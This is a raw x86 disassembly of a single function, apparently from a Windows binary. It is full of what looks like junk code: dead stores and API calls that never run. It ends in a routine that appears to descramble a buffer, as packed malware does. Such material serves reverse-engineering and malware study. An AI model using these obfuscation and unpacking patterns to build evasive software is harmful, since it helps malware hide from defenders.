mov eax, dword [ebp - 0x24]
add eax, 0xfff8
mov dword [ebp - 0xc], eax
inc dword [ebp - 4]
jmp 0x42a420
add edi, 8
mov dword [ebp - 0x10], edx
jmp 0x42a48c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x154], 0xc0ae9714
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x42a47b
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x42a4a8
push edx
push 0x1e60
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
xor edx, edx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x42a4c1
push 0x8c2
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test esi, esi
jne 0x42a4c8
add edi, 8
mov dword [ebp - 0x24], 0xf825
mov dword [ebp - 4], 0xffff
mov dword [ebp - 0x1c], 0xc63c4078
mov dword [ebp - 0x10], edx
jmp 0x42a4f3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x100], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x42a4e2
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x24]
dec dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffff
jg 0x42a517
cmp dword [ebp - 4], edx
je 0x42a517
xor esi, esi
inc esi
mov ecx, esi
jmp 0x42a51c
xor esi, esi
mov ecx, edx
inc esi
xor eax, eax
cmp ecx, esi
setne al
xor ecx, ecx
cmp eax, 8
mov eax, dword [ebp - 0x24]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0
jmp 0x42a562
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x100]
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x100], ecx
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jle 0x42a54b
mov eax, dword [ebp - 0x14]
add edi, ebx
inc eax
push 0
mov dword [ebp - 0x14], eax
pop ebx
cmp eax, dword [ebp - 0x3c]
jl 0x42a0e2
jmp 0x42a581
xor esi, esi
inc esi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], 0xd00693e9
mov dword [ebp - 0x18], 8
push 2
pop ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], 0xddcef989
mov dword [ebp - 0x18], 0xfffffff8
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], ebx
jmp 0x42a5d4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x98], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x42a5c3
mov dword [ebp - 0x14], ebx
jmp 0x42a5ef
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1ac], 0x9683648b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x42a5de
mov dword [ebp - 0x14], ebx
jmp 0x42a60a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x158], 0xe136
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x42a5f9
mov dword [ebp - 0x20], ebx
jmp 0x42a67d
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x18], 0x23607a98
mov dword [ebp - 0x18], 0xfffffff8
mov dword [ebp - 0x3c], 0xc0233fd5
mov dword [ebp - 0x10], ebx
jmp 0x42a646
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1e4], 0xfbd13d8c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x42a635
mov dword [ebp - 0xc], ebx
jmp 0x42a672
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x98]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x98]
cmp edx, eax
setg cl
mov dword [ebp - 0x18], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jle 0x42a651
inc dword [ebp - 0x3c]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff5
jge 0x42a614
mov esi, dword [edi]
mov dword [ebp - 0x18], 0xffffffff
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x42a6a3
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x42a6c9
push ebx
push 0x15d3
push 0x1359
push ebx
push 0x443
push 0x2323
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], 0xfffffffe
xor ecx, ecx
mov dword [ebp - 0x3c], 0x874be76d
inc ecx
mov dword [ebp - 4], ebx
jmp 0x42a6ed
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x40], 0xd5467356
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x42a6df
mov dword [ebp - 4], ebx
jmp 0x42a708
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1a4], 0x376fbfcc
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x42a6f7
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x42a71e
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov dword [ebp - 4], 0x7b04
xor edx, edx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp ecx, eax
push 0xfffffffffffffffe
setne dl
xor ecx, ecx
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov ebx, dword [edi + 4]
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x1c], 0x8ade19d2
mov dword [ebp - 0x18], 0xffffffff
pop eax
mov dword [ebp - 0x18], 0x64dc9ed9
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0x4709ba87
push 2
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
pop edx
cmp dword [ebp - 4], 3
jge 0x42a7a8
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1b8], edx
inc dword [ebp - 4]
jmp 0x42a793
mov dword [ebp - 4], ecx
jmp 0x42a7be
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1c4], 0xfffffffc
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x42a7ad
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], ecx
jl 0x42a81f
push 7
pop eax
mov dword [ebp - 0x18], 0xdb34
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x18], 0xaea0a9f4
inc dword [ebp - 0xc]
mov dword [ebp - 0xc], ecx
jmp 0x42a815
mov dword [ebp - 0x18], 0xe13f5e3d
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jle 0x42a80b
dec dword [ebp - 0x1c]
jns 0x42a7cf
mov byte [ebp - 5], cl
cmp byte [ebp - 5], cl
je 0x42a838
push ecx
push 0x2308
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 2
xor ecx, ecx
pop edx
mov dword [ebp - 0x10], ecx
jmp 0x42a84e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa0], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x42a83d
xor eax, eax
mov dword [ebp - 0x9c], ecx
inc eax
jmp 0x42a8c1
mov byte [ebp - 5], cl
cmp byte [ebp - 5], 0
je 0x42a8bb
push 0x576
push 0xf9a
push 0x1b93
push 0xd17
push 0x2f4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x816
push 0x2513
push 0x20e2
push 0x1e88
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
xor eax, eax
xor ecx, ecx
inc eax
inc dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], eax
jl 0x42a85e
test ebx, ebx
jne 0x42a99d
cmp byte [ebp - 0x2d], bl
je 0x42a8e4
cmp dword [ebp - 0x34], eax
jne 0x42a8e4
mov ecx, dword [ebp + 8]
lea eax, [esi + 0x10]
add dword [ecx + 8], eax
mov eax, dword [edi + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edi + 0xc]
add edi, 0x10
push esi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x58], edi
call fcn.0046cbc1
pop ecx
mov ebx, eax
lea ecx, [ebp - 0xe0]
lea eax, [ebp - 0xcc]
mov dword [ebp - 0x54], ebx
xor edi, edi
push eax
push esi
mov dword [ebp - 0xcc], edi
mov dword [ebp - 0xe0], edi
mov dword [ebp - 0xdc], edi
mov dword [ebp - 0xd8], edi
call fcn.004502f3
mov ecx, edi
mov edi, dword [ebp - 0xe0]
test esi, esi
jle 0x42a98a
mov eax, ecx
and eax, 0x80000001
jns 0x42a949
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x18]
add eax, ecx
add eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x4c]
cdq
idiv esi
xor eax, eax
cmp word [edi + edx*2], ax
je 0x42a975
xor ebx, ebx
lea eax, [edx + 1]
cdq
idiv esi
cmp word [edi + edx*2], bx
jne 0x42a966
mov ebx, dword [ebp - 0x54]
xor eax, eax
inc eax
mov word [edi + edx*2], ax
mov eax, dword [ebp - 0x58]
mov al, byte [edx + eax]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, esi
jl 0x42a93b
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov dword [eax + 4], ebx
test edi, edi
je 0x42a99d
push edi
call fcn.0046e0d8
pop ecx
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret